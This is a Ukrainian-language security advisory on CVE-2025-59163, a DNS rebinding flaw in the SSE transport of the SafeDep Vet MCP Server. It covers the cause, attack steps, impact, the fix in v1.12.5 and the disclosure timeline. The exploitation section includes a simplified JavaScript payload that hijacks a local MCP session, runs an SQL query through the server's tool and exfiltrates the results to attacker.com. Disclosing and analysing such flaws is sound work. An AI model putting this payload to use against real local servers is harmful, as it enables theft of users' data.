Вразливість DNS rebinding у SSE-транспорті сервера Vet MCP
Автор: Evan Harris
Ризик: Низький (CVSS 2.1/10)
Уражений компонент: SafeDep Vet MCP Server
Ідентифікатор CVE: CVE-2025-59163
Уражені версії: < v1.12.5
Виправлені версії: v1.12.5
Огляд
Сервер SafeDep Vet MCP вразливий до атак DNS rebinding під час роботи з транспортом SSE. Причиною вразливості є відсутність перевірки HTTP-заголовків Host та Origin, через що шкідливі сайти можуть обходити захист політики одного джерела (Same-Origin Policy) та виконувати несанкціоновані виклики інструментів проти екземплярів Vet MCP.
Після успішного проведення DNS rebinding зловмисник може встановити сесію з ендпоінтом /sse, викликати увімкнені інструменти MCP та вивантажити вміст користувацької бази даних Vet SQLite на підконтрольний йому сервер.
Команда SafeDep оперативно відреагувала на це розкриття і протягом кількох днів випустила виправлену версію (v1.12.5), яка реалізує перевірку заголовків Host та Origin за списком дозволених значень (allow list).
Технічні деталі
Вразливість
Коли сервер Vet MCP працює з транспортом SSE (--server-type sse), він надає HTTP-ендпоінт, що приймає з’єднання з будь-якого джерела. На сервері відсутня перевірка таких заголовків:
- HTTP-заголовок Host - допускає запити, що видають себе за будь-який домен
- HTTP-заголовок Origin - дозволяє міжсайтові запити зі шкідливих сайтів
Відсутність цієї перевірки відкриває можливість для атак DNS rebinding, у ході яких:
- Зловмисник контролює домен із DNS-записами, що мають дуже низький TTL
- Жертва відвідує сайт зловмисника (наприклад,
attacker.com) - JavaScript зловмисника спочатку розв’язується в IP-адресу зловмисника
- Після того як браузер жертви кешує з’єднання, DNS-запис змінюється на
127.0.0.1 - Подальші запити з
attacker.comтепер спрямовуються на localhost жертви - Політика одного джерела в браузері обходиться, оскільки джерелом, як і раніше, залишається
attacker.com
Вразлива конфігурація
Атака вимагає виконання таких умов:
- Виконано сканування Vet, і звіти записуються до бази даних
- Сервер Vet MCP запущено з увімкненим транспортом SSE
- Зловмисник заманює жертву на підконтрольний йому сайт
Вектор атаки
Зловмисник використовує DNS rebinding, щоб:
- Встановити з’єднання з
http://127.0.0.1:9988/sse - Отримати дійсний ідентифікатор сесії MCP
- Ініціалізувати сесію MCP
- Викликати інструмент
vet_query_execute_sql_queryз довільними READ-запитами SQL - Отримати відповіді через потік SSE
- Вивантажити дані на підконтрольний зловмиснику сервер
Сценарій атаки
Підготовка на боці жертви
Дослідник безпеки або розробник:
- Встановлює Vet для сканування залежностей на наявність вразливостей
- Запускає сканування:
vet scan -D /path/to/project - Запускає сервер MCP з транспортом SSE:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - За замовчуванням сервер прив’язується до
127.0.0.1:9988
Експлуатація зловмисником
Зловмисник готує інфраструктуру для DNS rebinding:
- Налаштовує DNS-сервер із wildcard-записами для домену (наприклад,
rebinder.attacker.com) - Конфігурує DNS-сервер так, щоб він спочатку повертав IP-адресу зловмисника, а потім перемикався на
127.0.0.1 - Розміщує шкідливий сайт із JavaScript, який:
- Визначає, коли DNS rebinding проходить успішно
- Підключається до SSE-ендпоінта Vet за адресою
http://127.0.0.1:9988/sse - Встановлює сесію MCP
- Виконує SQL-запити до бази даних жертви
- Вивантажує результати
Хід експлуатації
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Жертві достатньо лише відвідати сайт зловмисника (наприклад, за посиланням у фішинговому листі, через скомпрометоване рекламне оголошення або шкідливий GitHub Issue), поки запущено її сервер Vet MCP.
Оцінка впливу
Порушення конфіденційності
Основний вплив:
- Повний READ-доступ до бази даних сканування Vet SQLite через інструмент
vet_query_execute_sql_query - Розкриття інформації про вразливості пакетів, включно з:
- Використовуваними іменами пакетів та їхніми версіями
- Відомими CVE, що зачіпають залежності жертви
- Оцінками серйозності та деталями вразливостей
- Розвідданими про ланцюг постачання програмного забезпечення
Посилення ризиків:
- Зловмисники отримують відомості про вразливі пакети в середовищі жертви
- Залежності та версії пакетів розкривають деталі використовуваного технологічного стека
- Ця інформація може бути використана для створення цілеспрямованих експлойтів
Вимоги для проведення атаки
Фактори, що обмежують можливість експлуатації:
- Потрібна активна взаємодія користувача: жертва повинна відвідати шкідливий сайт
- Часове вікно: сервер Vet MCP має бути активно запущено з транспортом SSE
- Вимога до конфігурації: жертва повинна явно запустити сервер із прапорцем
--server-type sse(а не з транспортом stdio, який використовується за замовчуванням) - Робота через браузер: для атаки потрібен сучасний браузер із підтримкою EventSource
Ці фактори зумовлюють низьку оцінку серйозності (CVSS 2.1/10), попри можливість вивантаження даних.
Рекомендовані заходи з усунення
Для користувачів (негайно)
- Оновіться до версії v1.12.5 або новішої:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Використовуйте транспорт stdio (за замовчуванням):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Мережева ізоляція:
- Запускайте сервер MCP лише в довірених мережах
- Використовуйте правила міжмережевого екрана для обмеження доступу до порту 9988
- Уникайте відвідування недовірених сайтів, поки сервер запущено
Для розробників
Реалізовано у v1.12.5:
- Перевірка заголовка Host за списком дозволених значень (allow list)
- Перевірка заголовка Origin для запобігання міжсайтовим запитам
- Відхилення запитів із недійсними або відсутніми заголовками безпеки
Рекомендовані практики для реалізацій серверів MCP:
- Завжди перевіряйте заголовки Host та Origin для транспортів на базі HTTP
- За замовчуванням прив’язуйтеся лише до localhost (
127.0.0.1), а не до0.0.0.0 - За можливості надавайте перевагу транспорту stdio перед мережевими транспортами
- Документуйте наслідки для безпеки різних режимів транспорту
- Реалізуйте суворі політики CORS
Хронологія розкриття
- 2025-08-30: Первинний звіт про вразливість надіслано до SafeDep
- 2025-09-01: SafeDep підтверджує отримання звіту
- 2025-09-02: SafeDep створює pull request із патчем, що реалізує перевірку заголовків
- 2025-09-05: Випущено виправлену версію v1.12.5
- 2025-09-29: Опубліковано GitHub Security Advisory, узгоджену дату розкриття підтверджено обома сторонами
- 2025-10-06: Опубліковано технічний бюлетень безпеки
Висновок
Вразливість DNS rebinding у сервері Vet MCP демонструє важливий аспект безпеки для реалізацій MCP: мережеві транспорти вимагають ретельної перевірки HTTP-заголовків безпеки для запобігання міжсайтовим атакам.
Хоча атака вимагає певних умов (активний сервер MCP з транспортом SSE, відвідування жертвою шкідливого сайту, наявність часового вікна), можливість вивантаження даних виправдала відповідальне розкриття та випуск патча.
Реакція SafeDep слугує взірцем відповідальних практик у сфері безпеки:
- Негайне підтвердження отримання звіту
- Оперативна розробка та випуск патча (5 днів від повідомлення до релізу)
- Скоординоване розкриття через GitHub Security Advisory
- Чітка комунікація впродовж усього процесу
Усім користувачам, які запускають сервер Vet MCP з транспортом SSE, слід негайно оновитися до версії v1.12.5. Для більшості сценаріїв використання транспорт stdio, що застосовується за замовчуванням, є безпечнішою альтернативою.